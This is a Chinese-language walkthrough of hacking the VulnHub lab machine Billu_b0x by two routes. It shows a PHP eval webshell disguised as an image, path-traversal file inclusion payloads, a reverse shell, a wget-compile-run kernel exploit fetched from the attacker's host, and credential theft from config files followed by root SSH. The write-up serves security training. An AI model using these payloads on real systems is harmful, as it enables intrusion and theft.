靶机介绍

1)靶机地址:https://download.vulnhub.com/billu/Billu_b0x.zip

2)靶机难度:中(两种攻击路线)

3)打靶目标: 取得 root 权限

4)涉及攻击方法:主机发现、端口扫描、WEB信息收集、SQL注入(SQLMAP跑出来)、文件包含漏洞、文件上传漏洞、任意文件下载、源码审计、内核漏洞提权

5)靶机简介:一台靶机两种打法,学习两种攻破靶机的方法,,本次靶机所包含的漏洞类型都很常见,但却没一个好打的。其中包括SQLMAP跑不出来的SQL注入漏洞、只能上传图片的文件上传漏洞、看起来并不像是文件包含的文件包含漏洞。说的好像绕口令一样!重点学习多种常规漏洞的综合利能力。

6)注意事项:靶机导入时,选择包含所有网卡的MAC地址

打靶过程

1)主机发现

# arp-scan -l

2)全端口扫描

# nmap -p- 192.168.56.107

3)服务版本扫描

# nmap -p22,80 -sC -sV  192.168.56.107

4)浏览器访问80端口

http://192.168.56.107/

5)通过页面信息提示,说明该位置存在一个sql注入,通过万能密码做一件简单的sql注入

①注入' 字符 无任何效果

②注入' or 1=1 -- 无任何效果

注:对于其他的web系统,当sql注入无法成功注入时,可以尝试进行其他的攻击方式,但是此处的web系统因为提示为“Show me your SQLI skills”,说明此处一定存在SQL注入

6)通过burp工具的intruder模块,选择来进行SQL注入攻击的载荷字典,对其进行SQL注入

①输入用户名和密码提交时,先抓取数据包

②只选择变量为用户名和密码,且攻击方式为cluster bomb

③选择用户名字典为自带的fuzzing-SQL injection,选择密码字典为kali中的/usr/share/seclists/Fuzzing/SQLi/Generic-SQLi.txtBurp

④当用户名和密码为如下内容时,返回的内容不一致,当使用如下用户名和密码,登入时,可成功登入系统

⑤登入系统后,页面如下

7)在页面中,存在一个添加用户的选项,该选项处可以上传一个图片,尝试使用文件上传的方式,验证此处是否存在文件上传漏洞

①先编辑一句话木马

#vim shell.php
<?php @eval($_POST['cmd']);?>

②选择文件上传,提示只能上传图片文件

③上传图片时,抓取数据包。修改文件扩展名,仍然无法上传

④修改文件MIME类型后,仍然无法上传

⑤在文件头部添加GIF89a后,仍然无法上传

⑥将文件名修改为shell.phg,且修改MIME类型,文件头内容后,成功的上传了文件

⑦在浏览器通过cmd变量无法直接执行命令,说明上传的木马无法正常解析

http://192.168.56.107/panel.php?cmd=id
192.168.56.107/uploaded_images/shell.png?cmd=id

如果此处存在文件包含漏洞,那么可以包含上传的文件,使其被解析,但是该页面不存在文件包含漏洞

8)对web服务器进行路径爬取

# dirsearch -u http://192.168.56.107

9)对add.php页面进行访问时,返回于添加用户页面一致的表单信息,此时有理由怀疑是访问panel.php时,有引用了add.php。

10)在访问panel.php页面打开用户添加页面时,通过burp进行数据包抓取,查看其请求信息,发现加载了add

在请求中带了load=add参数,此时可参数是否是通过load参数加载了add.php页面,如果证明该结论正确,说明在此处存在一个本地的文件包含(不一定存在漏洞)

11)将数据包发送至repeater模式下后,修改add为/etc/passwd,发现读取出来了用户文件内容,说明此处存在本地文件包含漏洞

load=../../../../../../../etc/passwd&continue=continue

12)复制上传的图片马的url地址至load参数处,使其包含.

load=192.168.56.107/uploaded_images/shell.png?cmd=id&continue=continue

无法执行出id命令,说明此处没有远程文件包含漏洞

13)修改上述包含方式为本地文件包含

load=uploaded_images/shell.png?cmd=id&continue=continue

仍然无法正常执行参数的命令,但是本地文件包含又是存在的,说明:

此处是通过png图片中的一句话木马的参数执行操作系统的命令,有可能这种方式在服务器端是不支持的。

14)向服务器传输一个反弹shell的php的代码文件(扩展名仍然为png)

15)通过burp抓取到数据包后,进行本地文件包含

同时在kali主机监听端口,发现成功反弹回了webshell

16)将突破边界的shell进行升级

$ python -c "import pty;pty.spawn('/bin/bash')"

17)信息搜集,查看当前靶机内核版本为3.13

$ uname -a

18)在kali主机搜索内核为3.13.0的漏洞利用代码

# searchsploit 3.13.0
#cp /usr/share/exploitdb/exploits/linux/local/37292.c .
# mv 37292.c exp.c
# python3 -m http.server 80

19)目标靶机下载利用脚本,编译,执行,获取到root权限

$ cd /tmp
$ wget http://192.168.56.103/exp.c
$ gcc exp.c -o exp
$ chmod +x exp
$ ./exp
# id

第二种打靶过程:

20)根据第八步对网站路径的爬取,发现在根目录下存在一个test的路径

21)通过对test进行访问,返回如下提示

该提示说明:此处存在一个file参数,且file参数的值应该是一个文件(即文件包含)

22)根据上述提示,使用如下方式,查看/etc/passwd文件内容

http://192.168.56.107/test?file=../../../../etc/passwd

但是仍然返回了,上述的提示,说明数据提交的方式不正确,

23)通过burp进行数据包截取,并且修改数据提交方式为post

24)转发数据包后,直接获取到了/etc/passwd的文件内容

24)此处修改file的值为add.php,返回了add.php文件的源码,说明此处不是一个文件包含漏洞,是一个任意文件读取漏洞

25)此时通过上述方式查看首页面index.php的源码,该表单是一个输入用户名和密码的表单,通过源码,可以分析服务端是如何处理客户端提交到服务器端的数据的,是否会查询后端数据库进行比对,整个过程是否存在漏洞,进行源码的代码审计。

$uname=str_replace('\'','',urldecode($_POST['un']));
$pass=str_replace('\'','',urldecode($_POST['ps']));
$run='select * from auth where  pass=\''.$pass.'\' and uname=\''.$uname.'\'';
$result = mysqli_query($conn, $run);

26)之前的路径爬取发现了c.php文件,通过查看c.php的源码,发现了web程序连接后端数据库的用户名和密码

27)路径爬取中还发现了phpmy路径,通过访问,发现给路径是phpmyadmin的后台管理界面,通过上述发现的用户名和密码可直接登录至phpmyadmin中

28)登录成功后,在auth表中,发现了另外的一个用户名和密码,通过该用户名和密码,可直接在首页中登入系统

29)对phpmy目录进行目录爬取:

# dirsearch -u http://192.168.56.107/phpmy

web目录爬取,怕渠道了config.inc.php文件

30)通过上述文件下载漏洞,获取该文件的内容

在config.inc.php文件中获取到了另外一个账号root和密码roottoor

31)尝试通过该用户名和密码直接ssh登录目标靶机

# ssh root@192.168.56.107

直接登录成功,且权限为root权限